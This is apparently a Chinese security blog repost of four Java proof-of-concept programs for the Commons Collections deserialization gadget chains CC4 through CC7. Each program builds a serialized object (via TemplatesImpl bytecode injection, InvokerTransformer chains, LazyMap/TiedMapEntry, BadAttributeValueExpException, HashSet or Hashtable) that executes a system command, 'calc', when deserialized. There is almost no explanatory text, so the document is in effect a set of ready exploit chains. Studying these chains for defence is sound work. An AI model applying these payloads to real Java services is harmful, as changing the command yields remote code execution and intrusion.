Java安全之Commons Collections4-7分析

margin

​原文链接：Java安全之Commons Collections4-7分析 (qq.com)
CC4分析i

1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
   
2. import javassist.*;
   
3. import org.apache.commons.collections4.Transformer;
   
4. 
   
5. import org.apache.commons.collections4.comparators.TransformingComparator;
   
6. import org.apache.commons.collections4.functors.ChainedTransformer;
   
7. import org.apache.commons.collections4.functors.ConstantTransformer;
   
8. import org.apache.commons.collections4.functors.InstantiateTransformer;
   
9. 
   
10. 
    
11. import javax.xml.transform.Templates;
    
12. import java.io.*;
    
13. 
    
14. import java.lang.reflect.Field;
    
15. import java.lang.reflect.InvocationTargetException;
    
16. import java.util.PriorityQueue;
    
17. public class cc4 {
    
18.     public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
    
19.         //使用字节码创建恶意类
    
20.         String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    
21.         ClassPool classPool=ClassPool.getDefault();
    
22.         classPool.appendClassPath(AbstractTranslet);
    
23.         CtClass payload=classPool.makeClass("cc4Demo");
    
24.         payload.setSuperclass(classPool.get(AbstractTranslet));
    
25.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
    
26.         byte[] bytes = payload.toBytecode();
    
27. 
    
28. 
    
29.         //反射调用TemplatesImpl
    
30.         String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
31.         Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
    
32.         //设置_bytecodes属性，将二进的恶意类添加到_bytecodes
    
33.         Field field=templates.getClass().getDeclaredField("_bytecodes");
    
34.         field.setAccessible(true);
    
35.         field.set(templates,new byte[][]{bytes});
    
36.         //设置_name属性
    
37.         Field name=templates.getClass().getDeclaredField("_name");
    
38.         name.setAccessible(true);
    
39.         name.set(templates,"test");
    
40. 
    
41. 
    
42.         //生成tramsformer
    
43.         Transformer[] trans = new Transformer[]{
    
44.                 new ConstantTransformer(TrAXFilter.class),
    
45.                 new InstantiateTransformer(
    
46.                         new Class[]{Templates.class},
    
47.                         new Object[]{templates})
    
48.         };
    
49. 
    
50.         //生成ChainedTransformer
    
51.         ChainedTransformer chian = new ChainedTransformer(trans);
    
52.         TransformingComparator transCom = new TransformingComparator(chian);
    
53. 
    
54.         //生成PriorityQueue
    
55.         PriorityQueue queue = new PriorityQueue(2);
    
56.         queue.add(1);
    
57.         queue.add(1);
    
58. 
    
59.         Field com = PriorityQueue.class.getDeclaredField("comparator");
    
60.         com.setAccessible(true);
    
61.         com.set(queue,transCom);
    
62. 
    
63. 
    
64.         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    
65.         outputStream.writeObject(queue);
    
66.         outputStream.close();
    
67. 
    
68. 
    
69.         ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    
70.         inputStream.readObject();
    
71.     }
    
72. }
    

复制代码

​

​

​

​

​

​

​

CC5分析

1. import org.apache.commons.collections.Transformer;
   
2. import org.apache.commons.collections.functors.ChainedTransformer;
   
3. import org.apache.commons.collections.functors.ConstantTransformer;
   
4. import org.apache.commons.collections.functors.InvokerTransformer;
   
5. import org.apache.commons.collections.map.LazyMap;
   
6. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
   
7. 
   
8. import javax.management.BadAttributeValueExpException;
   
9. import java.io.FileInputStream;
   
10. import java.io.FileOutputStream;
    
11. import java.io.ObjectInputStream;
    
12. import java.io.ObjectOutputStream;
    
13. import java.lang.reflect.Field;
    
14. import java.util.HashMap;
    
15. 
    
16. 
    
17. public class cc5 {
    
18.     public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    
19.         ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    
20.                 new ConstantTransformer(Runtime.class),
    
21.                 new InvokerTransformer("getMethod", new Class[] {
    
22.                         String.class, Class[].class }, new Object[] {
    
23.                         "getRuntime", new Class[0] }),
    
24.                 new InvokerTransformer("invoke", new Class[] {
    
25.                         Object.class, Object[].class }, new Object[] {
    
26.                         null, new Object[0] }),
    
27.                 new InvokerTransformer("exec",
    
28.                         new Class[] { String.class }, new Object[]{"calc"})});
    
29. 
    
30.         HashMap innermap = new HashMap();
    
31. 
    
32.         LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    
33. 
    
34.         TiedMapEntry tiedmap = new TiedMapEntry(map,123);
    
35. 
    
36.         BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
    
37. 
    
38.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
    
39.         val.setAccessible(true);
    
40.         val.set(poc,tiedmap);
    
41. 
    
42.         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    
43.         outputStream.writeObject(poc);
    
44.         outputStream.close();
    
45. 
    
46.         ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));
    
47.         inputStream.readObject();
    
48. 
    
49.     }
    
50. }

复制代码

​

​

​

​

​

​

CC6分析

1. import org.apache.commons.collections.*;
   
2. import org.apache.commons.collections.functors.ChainedTransformer;
   
3. import org.apache.commons.collections.functors.ConstantTransformer;
   
4. import org.apache.commons.collections.functors.InvokerTransformer;
   
5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
   
6. import org.apache.commons.collections.map.LazyMap;
   
7. 
   
8. 
   
9. import java.io.*;
   
10. import java.util.HashMap;
    
11. import java.util.HashSet;
    
12. import java.util.Map;
    
13. 
    
14. 
    
15. public class cc6 {
    
16. 
    
17. 
    
18.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
    
19. 
    
20.         Transformer[] transformers=new Transformer[]{
    
21.                 new ConstantTransformer(Runtime.class),
    
22.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    
23.                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
    
24.                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    
25.         };
    
26.         ChainedTransformer Testtransformer = new ChainedTransformer(transformers);
    
27. 
    
28.         //创建一个hashmap
    
29.         Map map=new HashMap();
    
30.         Map lazyMap=LazyMap.decorate(map,Testtransformer);
    
31. 
    
32.         TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
33.         HashSet hashSet=new HashSet(1);
    
34.         hashSet.add(tiedMapEntry);
    
35. 
    
36.         lazyMap.remove("test1");
    
37. 
    
38.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    
39.         objectOutputStream.writeObject(hashSet);
    
40.         objectOutputStream.close();
    
41. 
    
42. 
    
43.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
    
44.         objectInputStream.readObject();
    
45. 
    
46. 
    
47.     }
    
48. }

复制代码

​

​

​

​

​

​

CC7分析

1. import org.apache.commons.collections.Transformer;
   
2. import org.apache.commons.collections.functors.ChainedTransformer;
   
3. import org.apache.commons.collections.functors.ConstantTransformer;
   
4. import org.apache.commons.collections.functors.InvokerTransformer;
   
5. import org.apache.commons.collections.map.LazyMap;
   
6. 
   
7. import java.io.*;
   
8. import java.util.HashMap;
   
9. import java.util.Hashtable;
   
10. import java.util.Map;
    
11. 
    
12. public class cc7 {
    
13.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
    
14. 
    
15.         Transformer[] transformers=new Transformer[]{
    
16.                 new ConstantTransformer(Runtime.class),
    
17.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    
18.                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
    
19.                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    
20.         };
    
21.         ChainedTransformer Testtransformer = new ChainedTransformer(transformers);
    
22. 
    
23.         Map innerMap1 = new HashMap();
    
24.         Map innerMap2 = new HashMap();
    
25. 
    
26.         Map lazyMap1 = LazyMap.decorate(innerMap1, Testtransformer);
    
27.         lazyMap1.put("yy", 1);
    
28. 
    
29.         Map lazyMap2 = LazyMap.decorate(innerMap2, Testtransformer);
    
30.         lazyMap2.put("zZ", 1);
    
31. 
    
32.         Hashtable hashtable = new Hashtable();
    
33.         hashtable.put(lazyMap1, 1);
    
34.         hashtable.put(lazyMap2, 2);
    
35. 
    
36.         lazyMap2.remove("yy");
    
37.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    
38.         objectOutputStream.writeObject(hashtable);
    
39.         objectOutputStream.close();
    
40. 
    
41.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
    
42.         objectInputStream.readObject();
    
43.     }
    
44. }

复制代码

​

​

​

​

​

​

​

​